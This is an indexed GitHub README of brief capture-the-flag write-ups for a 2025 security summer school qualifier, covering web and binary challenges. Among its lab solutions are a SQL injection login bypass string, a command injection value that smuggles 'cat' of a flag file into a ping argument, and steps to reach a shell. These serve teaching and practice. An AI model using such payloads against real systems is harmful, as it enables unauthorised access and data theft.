An open API service indexing awesome lists of open source software.

https://github.com/ahossu/sss_qualifiers_v12

The write-ups for the preselection exam of the SSS Security Summer School at UNSTB, Romania, 2025 Edition.
https://github.com/ahossu/sss_qualifiers_v12

binary-exploitation ctf ctf-challenges ctf-platform ctf-writeups cyber-security cybersecurity pwn pwntools reverse-engineering web web-security

Last synced: 11 months ago
JSON representation

The write-ups for the preselection exam of the SSS Security Summer School at UNSTB, Romania, 2025 Edition.

Awesome Lists containing this project

README

          

# SSS_Qualifiers_v12

##### 2025 Edition

- **Web: Qualifiers: Sequel Pro**
`we use SQL Injection for this as the title suggests`
 `user: admin`
 `pass: ' OR '1' = '1`
`the secret appears`

- **Web: Qualifiers: Cake**
`we change the value of the FLAG cookie in applepie`
`we refresh and we see the cookie updated`
`it is containing the flag`

- **Web: Qualifiers: Welcome**
`we look at the source code`
`first part in:`
 `/static/css/main.css`
`second part in:`
 `

svyr_

`
`third part in:`
 `/static/hidden.js?v=`
`forth part in:`
 `/static/logo.png`

- **Web: Qualifiers: In Your Face**
`we look at the source code`
``
`we apply base64 on this string`

- **Web: Qualifiers: IP Destroyer**
`simple command injection to cat the flag.txt`
`after searching in multiple the directories we find the flag inside /home/ctf/flag`
`so the input to retrieve the flag is: -c 0 8.8.8.8; cat /home/ctf/flag`

- **Binary: Qualifiers: Black Hole**
`opened it in IDA`
`we see that the flag is printed in /dev/null and it is impossible to retrieve it from that address`
`we use gdb to see the flag before it is written in that file`
`gdb ./black_hole`
`gef➤ break fwrite`
`gef➤ run`
`gef➤ x/s $rdi`
`0x602480: "SSS{the_[REDACTED]_see}"`

- **Binary: Qualifiers: One by One**
`opened it in Ghidra and than we extract`
`part20 64h; part0 53h; part24 6Fh; part18 6Fh; part3 7Bh; part27 7Dh; part11 6Fh; part13 5Fh; part23 6Ch; part12 66h; part14 74h; part21 5Fh; part9 70h; part26 6Bh; part17 5Fh; part25 63h; part15 68h; part6 63h; part7 68h; part22 62h; part2 53h; part8 69h; part5 5Fh; part19 6Ch; part4 61h; part16 65h; part1 53h; part10 5Fh`
`we order them and than we convert them from base64`

- **Binary: Qualifiers: Not Backdoor**
`the file not_backdoor.exe is a POSIX tar archive (GNU)`
`we extract the not_backdoor than we analyse the code in IDA`
`we use the following script to try all XOR possibilities in the function sub_4006B6`
`orig = [60, 60, 60, 20, 31, 29, 92, 27, 27, 22, 48, 12, 95, 1, 25, 0, 3, 26, 27, 10, 11, 48, 9, 3, 91, 8, 18, 111]`
`for key in range(256):`
 `decoded = ''.join(chr(b ^ key) for b in orig)`
 `print(key, decoded)`
`there was one result that matched the format starting with SSS and was the flag`

- **Binary: Qualifiers: Mirror Me**
`opened it in IDA`
`in max_mirror() function the output is 906609`
`we choose 2 numbers with the product 906609: 913 and 993, so we can get to system("/bin/sh");`
`then we search for the flag in the system and we find it in ./home/ctf/flag`

- **Binary: Qualifiers: Pinpoint**
`opened it in IDA`
`.data:0000000000601058 v dd 53535353h`
`this is the value we need to modify`
`1398297427 = 0x53585353`
`initially v is 0x53535353`
`the four bytes are: at address 0x601058 is 0x53, at address 0x601059 is 0x53, at address 0x60105A is 0x53, at address 0x60105B is 0x53`
`the only diff between the init value (0x53535353) and the target (0x53585353) is in the third byte (offset 2)`
`we only need to change that byte`
`offset 2 so we have to modify at 0x601058 + 2 = 0x60105A`
`we must change it from 0x53 (83 decimal) to 0x58 (88 decimal)`
`0x60105A = 6295642`
`so the inputs are 6295642 and 88`
`then we search for the flag in the system and we find it in ./home/ctf/flag`

- **Binary: Qualifiers: The Talker**
`*(_DWORD *)&s.sa_data[2] = htonl(0x7F000001u); -> sends to localhost`
`*(_WORD *)s.sa_data = htons(4444u); -> sends at port 4444`
`sleep(10u); -> each 10 seconds`
`read_flag(buf, 128LL) reads ../flag into a buffer`
`the binary sends to 127.0.0.1:4444 each 10 seconds using sendto()`
`we login to connect@141.85.224.99 and we use nc -ul 4444 to listen to 4444 port and we receive the flag`